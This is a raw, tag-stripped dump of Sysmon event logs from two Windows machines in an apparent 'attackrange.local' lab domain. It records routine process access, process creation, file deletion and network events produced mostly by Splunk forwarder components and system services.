15:10:32.163{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018502Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.163{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018501Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.163{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018500Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.163{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7568-613B-4C05-00000000F101}2312C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018499Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.163{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7568-613B-4C05-00000000F101}2312C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018498Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.163{625C326B-7568-613B-4C05-00000000F101}2312C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018497Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.100{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A9DB6A88719707BEFEB9A75DF23DB023,SHA256=3523B256303E1D3BD2CDB4100C11914708DDFDF25C842B38E83E4C9F3E50EA2B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:32.180{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=8FE8E40AD33169114E25F79586062256,SHA256=97333FFC76FBF78B023495FDB9CF61DAC4A85EC1114C9AD371BEEE6076828EC6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000057850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:31.435{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63214-false10.0.1.12-8000- 23542300x800000000000000057849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:33.258{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C850643A68D8DAB1CF4F1218B49470A8,SHA256=8C4353EBFB1B80309BEE528F156135B88310755402235F2563FD05058AE750F4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018542Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.897{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7569-613B-4E05-00000000F101}3848C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018541Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.897{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018540Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.897{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018539Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.897{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018538Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.897{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018537Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.897{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018536Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.897{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018535Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.897{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018534Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.897{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018533Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.897{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018532Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.897{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7569-613B-4E05-00000000F101}3848C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018531Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.897{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7569-613B-4E05-00000000F101}3848C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018530Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.898{625C326B-7569-613B-4E05-00000000F101}3848C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018529Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.678{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C25BDD988F28EBD1B711531DCE82A266,SHA256=BEF1500D9AAACBE121A37C553156EF337BB26F46B5F5D17A5E5BB373A567A32E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018528Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:33.288{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=24AD92405B8D291CBAAB58085D698258,SHA256=748D18B6146DF2B740977ED2DECCB1F92DE9BB9B1D77BE39DD465D0F4BAFAB9C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:34.476{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6070C4030828F76C587AA2A2A30EB659,SHA256=5AD51C1FE1C9BD69A03F44AEDE5ADCF63EAF1C97D9BE1899B072D05A6EB5B5A9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018545Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:34.913{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C6592FB4828C3B0422F31DB2DDEBE721,SHA256=C364E54E218E2DCEE3300DAC048596127AE7B95203DC687B098A908A9269814B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018544Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:34.303{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1AE15555CEF28A66C0F5C0B8281EEEDD,SHA256=7EDF62E50668C6B7F2966667ADAC97605B3B959C7B269145A7967ED7716B42FF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018543Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:34.100{625C326B-7569-613B-4E05-00000000F101}38483244C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000057852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:35.586{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=723C7ECA2FD1F30DADA175E9B546B172,SHA256=0C55F90E55089C82C1D06EF655636AD804EF48203B128D54B1D6187E0053CA2F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018574Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.788{625C326B-756B-613B-5005-00000000F101}31203976C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018573Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.600{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-756B-613B-5005-00000000F101}3120C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018572Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 